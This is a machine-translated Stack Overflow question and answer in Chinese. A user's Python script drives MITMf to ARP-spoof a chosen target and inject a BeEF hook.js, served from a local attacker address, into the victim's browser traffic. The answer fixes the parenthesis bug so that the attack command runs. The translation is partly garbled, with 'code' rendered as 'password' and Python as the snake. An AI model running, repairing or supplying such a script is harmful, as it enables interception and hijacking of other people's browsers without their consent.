我的密码是
#! /usr/bin/env python
ip_addr = raw_input('Enter your target: ')
gateway = raw_input('Enter your gateway: ')
import os
os.chdir('/usr/share/mitmf/')
os.system ('python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js') % (gateway, ip_addr)我的产出是:
File "./ARP_Beef.py", line 6, in <module>
os.system ('python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js') % (gateway, ip_addr)
TypeError: unsupported operand type(s) for %: 'int' and 'tuple'我对蟒蛇很陌生,希望有人能帮我一把。
发布于 2016-03-03 01:22:00
您的括号有问题:
os.system("....") % (gateway, ip_addr)使用这段代码,Python首先运行os.system,返回一个int,然后尝试用(gateway, ip_addr)元组调用%操作符。
你的意思可能是:
os.system("...." % (gateway, ip_addr))顺便提一下,我建议对您的代码进行两项改进:
sys.executable而不是硬编码的" python“:这样,您肯定会使用与当前运行脚本的版本相同的python版本。https://stackoverflow.com/questions/35761306
复制相似问题